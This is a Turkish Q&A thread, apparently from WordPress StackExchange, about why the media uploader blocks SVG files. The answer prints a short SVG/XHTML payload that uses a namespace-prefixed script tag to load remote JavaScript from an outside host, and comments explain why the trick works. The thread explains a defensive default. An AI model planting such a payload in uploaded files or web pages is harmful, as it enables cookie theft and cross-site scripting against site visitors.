Medya yükleyicide svgs hangi güvenlik nedenleriyle engellenir?

Medya yükleyicide SVG'lerin varsayılan olarak engellendiğini görüyorum ve bunu function.php dosyasında desteklenen bir MIME türü olarak eklemeniz gerekiyor. Bunun arkasında hangi güvenlik nedenleri var?

media security svg

— Claudiu Creanga
kaynak

SVG JavaScript içerebilir . JavaScript, çerezleri ele geçirmek veya şüpheli diğer işlemleri yapmak için kullanılabilir . Hatta ad alanlarında "gizli" olabilir:

<html xmlns:ø="http://www.w3.org/1999/xhtml">
   <ø:script src="//0x.lv/" />
</html>

kaynak

Yükleme sırasında bunu filtrelemek çok zordur, bu yüzden varsayılan olarak izin verilmez.

— fuxia
kaynak

İsimlendirme noktasının, etiket adı çarpışmasını önlemek olduğunu düşündüm, anlam ø:scriptolarak ele scriptalınmamalı ve bu nedenle hiçbir şey yapmamalıdır. Ad boşluklu ø:scriptetiketin ad boşluklu olmayan bir etiket gibi davranmasına ne neden olur script? Veya SVG'ler JS olmayan XML ayrıştırıcılarının gömülmesine de izin veriyor mu?

— JAB

@JAB, ad alanı http://www.w3.org/1999/xhtmlbu komut dosyası örneğini normal bir komut dosyasına eşdeğer yapar.

— fuxia

Hah şimdi anladım. HTML etiketleri için örtülü ad alanı http://www.w3.org/1999/xhtml, bu nedenle bu URL'ye bir referans oluşturabilir ve bu tür etiketler için bir ad alanı öneki olarak kullanabilirsiniz; XHTML ayrıştırıcıları bunları normal etiketler olarak işleyecektir.

— JAB